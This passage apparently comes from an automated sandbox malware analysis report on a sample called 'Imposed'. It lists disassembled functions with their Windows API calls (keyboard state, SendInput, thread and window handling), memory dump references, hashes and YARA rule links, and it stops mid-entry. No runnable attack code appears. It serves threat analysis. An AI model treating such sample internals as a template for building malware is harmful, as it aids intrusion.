                                                                                                                                                                • Opcode ID: 521c388f834584940167dfb0723be16df2d00e7cbda813de1a72e5ec1cde8469
                                                                                                                                                                • Instruction ID: 34315ed6a6d460f8a810ec980678f0bf9df48e897735dcffc8ae9a529ff22bd2
                                                                                                                                                                • Opcode Fuzzy Hash: 521c388f834584940167dfb0723be16df2d00e7cbda813de1a72e5ec1cde8469
                                                                                                                                                                • Instruction Fuzzy Hash: 4F312C7098124CEEFF34CE64CC05BFD7BA9AB45310F184219E694961D1D3B48D418751
                                                                                                                                                                Function 00A2599D Relevance: 6.1, APIs: 4, Instructions: 104windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • SendMessageW.USER32(?,00001024,00000000,?), ref: 00A25A2E
                                                                                                                                                                • GetWindowLongW.USER32(?,000000F0), ref: 00A25A51
                                                                                                                                                                • SetWindowLongW.USER32(?,000000F0,00000000), ref: 00A25A5E
                                                                                                                                                                • InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00A25A84
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: LongWindow$InvalidateMessageRectSend
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3340791633-0
                                                                                                                                                                • Opcode ID: 01f25bd3c69c69e216fa2db0462b257e0db84b523a50b09ed50ad8361d66bca0
                                                                                                                                                                • Instruction ID: 6f44d0265b1032eaa2f634cebd92bb4798fe550c9b541b34eebff1fe26bba78e
                                                                                                                                                                • Opcode Fuzzy Hash: 01f25bd3c69c69e216fa2db0462b257e0db84b523a50b09ed50ad8361d66bca0
                                                                                                                                                                • Instruction Fuzzy Hash: 8B317434E61A28AEEB349B6CEC8FFE93775FB05390F184222F611961E1C774A9419B41
                                                                                                                                                                Function 009FB3C0 Relevance: 6.1, APIs: 4, Instructions: 103keyboardwindowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetKeyboardState.USER32(?,76C1C0D0,?,00008000), ref: 009FB415
                                                                                                                                                                • SetKeyboardState.USER32(00000080,?,00008000), ref: 009FB431
                                                                                                                                                                • PostMessageW.USER32(00000000,00000101,00000000), ref: 009FB498
                                                                                                                                                                • SendInput.USER32(00000001,?,0000001C,76C1C0D0,?,00008000), ref: 009FB4EA
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: KeyboardState$InputMessagePostSend
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 432972143-0
                                                                                                                                                                • Opcode ID: 76067fca07a15aebcd4a33bb4c2d93547fde683c9479977795396928234b48a7
                                                                                                                                                                • Instruction ID: 3e839c8d45cb17a782e306886a188963c3cc7abc3b0b6380c2341a4b8b25ba16
                                                                                                                                                                • Opcode Fuzzy Hash: 76067fca07a15aebcd4a33bb4c2d93547fde683c9479977795396928234b48a7
                                                                                                                                                                • Instruction Fuzzy Hash: 48313E7090064C6EFF30CF65C9047FA7BADAF85324F14821AE685962F3D378C9558791
                                                                                                                                                                Function 009FE75E Relevance: 6.1, APIs: 4, Instructions: 87COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 00997A0C: _wcslen.LIBCMT ref: 00997A11
                                                                                                                                                                • _wcslen.LIBCMT ref: 009FE794
                                                                                                                                                                • _wcslen.LIBCMT ref: 009FE7AB
                                                                                                                                                                • _wcslen.LIBCMT ref: 009FE7D6
                                                                                                                                                                • GetTextExtentPoint32W.GDI32(?,00000000,00000000,?), ref: 009FE7E1
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: _wcslen$ExtentPoint32Text
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3763101759-0
                                                                                                                                                                • Opcode ID: 96a6688896ea2180e416c50b74bc7a00916731540b232d1370feb48ad52a20d8
                                                                                                                                                                • Instruction ID: 1ad2c33531070d84d8ef5205750f65776a2d819975d51bdac306a47b235e1783
                                                                                                                                                                • Opcode Fuzzy Hash: 96a6688896ea2180e416c50b74bc7a00916731540b232d1370feb48ad52a20d8
                                                                                                                                                                • Instruction Fuzzy Hash: 8121B575D00218AFCB11EFA8C981BBEBBF8EF85760F144065E904AB291D6709E41CBA1
                                                                                                                                                                Function 00A295D1 Relevance: 6.1, APIs: 4, Instructions: 78windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 009923E1: GetWindowLongW.USER32(00000000,000000EB), ref: 009923F2
                                                                                                                                                                • GetCursorPos.USER32(?), ref: 00A29609
                                                                                                                                                                • TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 00A2961E
                                                                                                                                                                • GetCursorPos.USER32(?), ref: 00A29666
                                                                                                                                                                • DefDlgProcW.USER32(?,0000007B,?,?,?,?), ref: 00A2969C
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Cursor$LongMenuPopupProcTrackWindow
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2864067406-0
                                                                                                                                                                • Opcode ID: 1653e69f45574ada91e40afbecb05fbfb2dc53b0e559dee696d53a70cc352b6a
                                                                                                                                                                • Instruction ID: 05c85fcd1d1c2aeef55815355cd9c4f0b495ca1f4071b6bb7934edae7c2cfbb9
                                                                                                                                                                • Opcode Fuzzy Hash: 1653e69f45574ada91e40afbecb05fbfb2dc53b0e559dee696d53a70cc352b6a
                                                                                                                                                                • Instruction Fuzzy Hash: 9E21DB35501028AFDB26CF98DC88EFB7BB9FB89B10F104065F9058B2A1C3709D52DB60
                                                                                                                                                                Function 009FDA23 Relevance: 6.1, APIs: 4, Instructions: 78COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetFileAttributesW.KERNEL32(?,00A2DB10), ref: 009FDA5D
                                                                                                                                                                • GetLastError.KERNEL32 ref: 009FDA6C
                                                                                                                                                                • CreateDirectoryW.KERNEL32(?,00000000), ref: 009FDA7B
                                                                                                                                                                • CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,00A2DB10), ref: 009FDAD8
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CreateDirectory$AttributesErrorFileLast
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2267087916-0
                                                                                                                                                                • Opcode ID: 83adb3ee0dd34fc96cab6ffc99a6cbab99bcbf2f809e9dc4f873e474b74caa99
                                                                                                                                                                • Instruction ID: 555108b542271754679fcdd12a647a2331380412117f98886de04997fbdc3106
                                                                                                                                                                • Opcode Fuzzy Hash: 83adb3ee0dd34fc96cab6ffc99a6cbab99bcbf2f809e9dc4f873e474b74caa99
                                                                                                                                                                • Instruction Fuzzy Hash: C321E23010D2059F8710DF6CC8849BFB7E8BE5A364F104A5DF599C72A2EB30D906CB46
                                                                                                                                                                Function 00A22E5C Relevance: 6.1, APIs: 4, Instructions: 75COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetWindowLongW.USER32(?,000000EC), ref: 00A22EE4
                                                                                                                                                                • SetWindowLongW.USER32(?,000000EC,00000000), ref: 00A22EFE
                                                                                                                                                                • SetWindowLongW.USER32(?,000000EC,00000000), ref: 00A22F0C
                                                                                                                                                                • SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 00A22F1A
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Window$Long$AttributesLayered
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2169480361-0
                                                                                                                                                                • Opcode ID: 913b904143d4d218f440fbfd7eb08d342d10d1ec78173ee72b86d3505aa44667
                                                                                                                                                                • Instruction ID: 4a90e22e62aa64ae70f630713d6e11ad1e24611a19f656b4de0c79293889b29a
                                                                                                                                                                • Opcode Fuzzy Hash: 913b904143d4d218f440fbfd7eb08d342d10d1ec78173ee72b86d3505aa44667
                                                                                                                                                                • Instruction Fuzzy Hash: 9621A131209521BFDB14DB18D845FAA7BA5AF86324F248268F4268B6D2C775ED42CBD0
                                                                                                                                                                Function 009F8111 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 71stringCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 009F9599: lstrlenW.KERNEL32(?,00000002,000000FF,?,?,?,009F8126,?,000000FF,?,009F8F70,00000000,?,0000001C,?,?), ref: 009F95A8
                                                                                                                                                                  • Part of subcall function 009F9599: lstrcpyW.KERNEL32(00000000,?,?,009F8126,?,000000FF,?,009F8F70,00000000,?,0000001C,?,?,00000000), ref: 009F95CE
                                                                                                                                                                  • Part of subcall function 009F9599: lstrcmpiW.KERNEL32(00000000,?,009F8126,?,000000FF,?,009F8F70,00000000,?,0000001C,?,?), ref: 009F95FF
                                                                                                                                                                • lstrlenW.KERNEL32(?,00000002,000000FF,?,000000FF,?,009F8F70,00000000,?,0000001C,?,?,00000000), ref: 009F813F
                                                                                                                                                                • lstrcpyW.KERNEL32(00000000,?,?,009F8F70,00000000,?,0000001C,?,?,00000000), ref: 009F8165
                                                                                                                                                                • lstrcmpiW.KERNEL32(00000002,cdecl,?,009F8F70,00000000,?,0000001C,?,?,00000000), ref: 009F81A0
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: lstrcmpilstrcpylstrlen
                                                                                                                                                                • String ID: cdecl
                                                                                                                                                                • API String ID: 4031866154-3896280584
                                                                                                                                                                • Opcode ID: ea71651f4eb97286dd4f76440abf18a3e2d0f415d9f481893b492d67283a529d
                                                                                                                                                                • Instruction ID: 92726a03d9d8a5e5101e198971bcb93d21d69636369f2889b88b5d608c8402c7
                                                                                                                                                                • Opcode Fuzzy Hash: ea71651f4eb97286dd4f76440abf18a3e2d0f415d9f481893b492d67283a529d
                                                                                                                                                                • Instruction Fuzzy Hash: 9D11E63A304305ABDB159F78DC49ABB77A9FF89350B50452AFA06CB250EF31D812C790
                                                                                                                                                                Function 009C2099 Relevance: 6.1, APIs: 4, Instructions: 63COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID:
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID:
                                                                                                                                                                • Opcode ID: aaaa5fbd4f9dd491a7060c3048bb094457868f11830841cecc1ecfe9b2272e90
                                                                                                                                                                • Instruction ID: 1fbdefa63fbbd91bd7cf74d9a5f7335777f152c4d5f257c80672e3f02c7548e1
                                                                                                                                                                • Opcode Fuzzy Hash: aaaa5fbd4f9dd491a7060c3048bb094457868f11830841cecc1ecfe9b2272e90
                                                                                                                                                                • Instruction Fuzzy Hash: 9301D6B2A0D6167EF62167B86CC1F27670DDF913B8B39072DF621951D6DE708C418262
                                                                                                                                                                Function 009F22A1 Relevance: 6.1, APIs: 4, Instructions: 56windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • SendMessageW.USER32(?,000000B0,?,?), ref: 009F22C1
                                                                                                                                                                • SendMessageW.USER32(?,000000C9,?,00000000), ref: 009F22D3
                                                                                                                                                                • SendMessageW.USER32(?,000000C9,?,00000000), ref: 009F22E9
                                                                                                                                                                • SendMessageW.USER32(?,000000C9,?,00000000), ref: 009F2304
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: MessageSend
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3850602802-0
                                                                                                                                                                • Opcode ID: 5f76d6498804f2d9a178b66c6859488ae866cf233e8af3db667b99bfbb68e9fe
                                                                                                                                                                • Instruction ID: 3f78408e449068b661d36dce5dd816f9e308a2a26bf881042762f6472c4f2043
                                                                                                                                                                • Opcode Fuzzy Hash: 5f76d6498804f2d9a178b66c6859488ae866cf233e8af3db667b99bfbb68e9fe
                                                                                                                                                                • Instruction Fuzzy Hash: C3110C76D00228FFDB11DB94CD85FADBB78FB04750F200091EA10B7290D6756E11DB94
                                                                                                                                                                Function 00A2A4FB Relevance: 6.1, APIs: 4, Instructions: 55COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 009923E1: GetWindowLongW.USER32(00000000,000000EB), ref: 009923F2
                                                                                                                                                                • GetClientRect.USER32(?,?), ref: 00A2A539
                                                                                                                                                                • GetCursorPos.USER32(?), ref: 00A2A543
                                                                                                                                                                • ScreenToClient.USER32(?,?), ref: 00A2A54E
                                                                                                                                                                • DefDlgProcW.USER32(?,00000020,?,00000000,?), ref: 00A2A582
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Client$CursorLongProcRectScreenWindow
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 4127811313-0
                                                                                                                                                                • Opcode ID: 0c6fa972a3b0e2a14285b08668f90e299299f8433657d2999c2e71d3c8359a31
                                                                                                                                                                • Instruction ID: 8cf0de9281a7d9b2a686890855f98a14c673a857654d294a5f407877af9a90df
                                                                                                                                                                • Opcode Fuzzy Hash: 0c6fa972a3b0e2a14285b08668f90e299299f8433657d2999c2e71d3c8359a31
                                                                                                                                                                • Instruction Fuzzy Hash: 7211277290112AABDB20DF9CEC859FE77B9FB45700F100465F902E7151D774EA92CBA2
                                                                                                                                                                Function 009FE9AD Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetCurrentThreadId.KERNEL32 ref: 009FE9D4
                                                                                                                                                                • MessageBoxW.USER32(?,?,?,?), ref: 009FEA07
                                                                                                                                                                • WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 009FEA1D
                                                                                                                                                                • CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 009FEA24
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CloseCurrentHandleMessageObjectSingleThreadWait
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2880819207-0
                                                                                                                                                                • Opcode ID: 4d56ffb4fefeb126b3014bc88814366c899f62d46230d2cbc80829a4fe89b7f8
                                                                                                                                                                • Instruction ID: 2defb4db694a4b460c4f78fa89d217b7ee0be7e629282dcca9e5e950681b2e1a
                                                                                                                                                                • Opcode Fuzzy Hash: 4d56ffb4fefeb126b3014bc88814366c899f62d46230d2cbc80829a4fe89b7f8
                                                                                                                                                                • Instruction Fuzzy Hash: 7E11087690025DBFC711DFEC9C04AAA7FADAB45320F104265F911E73A1D3B9CD0287A0
                                                                                                                                                                Function 009BD5EC Relevance: 6.1, APIs: 4, Instructions: 55threadCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • CreateThread.KERNEL32(00000000,?,009BD419,00000000,00000004,00000000), ref: 009BD638
                                                                                                                                                                • GetLastError.KERNEL32 ref: 009BD644
                                                                                                                                                                • __dosmaperr.LIBCMT ref: 009BD64B
                                                                                                                                                                • ResumeThread.KERNEL32(00000000), ref: 009BD669
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Thread$CreateErrorLastResume__dosmaperr
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 173952441-0
                                                                                                                                                                • Opcode ID: 861f1da005198840b0ed7e49a04321f4c9bca82f67e0d13cc89dd694d7a2b548
                                                                                                                                                                • Instruction ID: c542d265b8dec9f497dfbbb953aaca4c6453a145aa1260ecd98da08dcd78dc82
                                                                                                                                                                • Opcode Fuzzy Hash: 861f1da005198840b0ed7e49a04321f4c9bca82f67e0d13cc89dd694d7a2b548
                                                                                                                                                                • Instruction Fuzzy Hash: 3101D632806218BBDB206BA5DD09FEE7B6CDFC1734F200219F528861D0EB708841C7A1
                                                                                                                                                                Function 00996DB1 Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00996DEF
                                                                                                                                                                • GetStockObject.GDI32(00000011), ref: 00996E03
                                                                                                                                                                • SendMessageW.USER32(00000000,00000030,00000000), ref: 00996E0D
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CreateMessageObjectSendStockWindow
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3970641297-0
                                                                                                                                                                • Opcode ID: 7cbe40d6591fc2482d67cfe232b0bfbd0b287136d5c4ecab84555ab025982485
                                                                                                                                                                • Instruction ID: b6239ccb4e87b18eff80ca865cdd60b4923cf53d84c1dbb239832c5c20b5c849
                                                                                                                                                                • Opcode Fuzzy Hash: 7cbe40d6591fc2482d67cfe232b0bfbd0b287136d5c4ecab84555ab025982485
                                                                                                                                                                • Instruction Fuzzy Hash: 7E115B72101548BFDF128FD8DC54AEA7BADEF48364F050115FA1452151C7359CB1ABA0
                                                                                                                                                                Function 009C3493 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • LoadLibraryExW.KERNEL32(00000000,00000000,00000800,009910E8,00000000,00000000,?,009C343A,009910E8,00000000,00000000,00000000,?,009C36AB,00000006,FlsSetValue), ref: 009C34C5
                                                                                                                                                                • GetLastError.KERNEL32(?,009C343A,009910E8,00000000,00000000,00000000,?,009C36AB,00000006,FlsSetValue,00A33248,FlsSetValue,00000000,00000364,?,009C3266), ref: 009C34D1
